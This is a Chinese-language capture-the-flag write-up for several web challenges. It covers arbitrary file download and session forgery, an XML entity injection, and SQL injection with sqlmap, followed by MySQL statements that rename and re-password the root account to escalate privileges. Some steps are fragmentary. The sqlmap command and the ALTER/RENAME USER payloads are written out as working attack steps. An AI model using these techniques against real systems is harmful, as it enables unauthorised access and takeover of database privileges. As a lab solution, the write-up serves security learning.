在首页提示存在eval和login的路由,在download存在任意文件下载访问eval可以读取目录下的文件,知道/app/pycache/part.cpython-311.pyc路径,然后使用download下载下来,进行反编译
使用在线工具进行反编译,得到session的key
(相关资料图)
然后对session进行伪造
登录成功
一看就是XML注入
]>杂鱼~ &shell; #SYCTF{COrReCt_AN5w3r_fa0efe410508}
Confronting robot打开网页发现存在sql注入
直接sqlmap跑payload:sqlmap -u "http://x.x.x.x:34918/?myname=aaa" -D robot_data -T name --columns --dump
得到路由/sEcR@t_n@Bodyknow.php在该页面可以通过POST传入code直接执行Sql语句
使用sqlmap跑mysql.user的数据表查看一下权限,发现当前用户拥有Super_priv的权限,但是没有其他可以利用权限。但是root用户存在所有权限
解题思路:修改"root"@"::1"为"secret"@"%",然后把"secret"@"localhost"随便修改一个名字,这样链接的数据库就拥有root权限了。需要注意的是密码也需要改成和secret相同。把secret密码dump下来
首先修改root的密码,payload:alter user "root"@"127.0.0.1" identified by PASSWORD "*C4809B442CD41D91C25BAEA070D00FF39A87190D";
查询是否修改成功
在继续把"root"@"127.0.0.1"修改成"secret"@"%"payload:rename user "root"@"127.0.0.1" to "secret"@"%";
然后把"secret"@"localhost"修改成任意名字即可payload:rename user "secret"@"localhost" to "aaa"@"%";
最后直接读取game.php文件,获得flag
SYCTF{RObOt_r0B07_3599ec7eac28}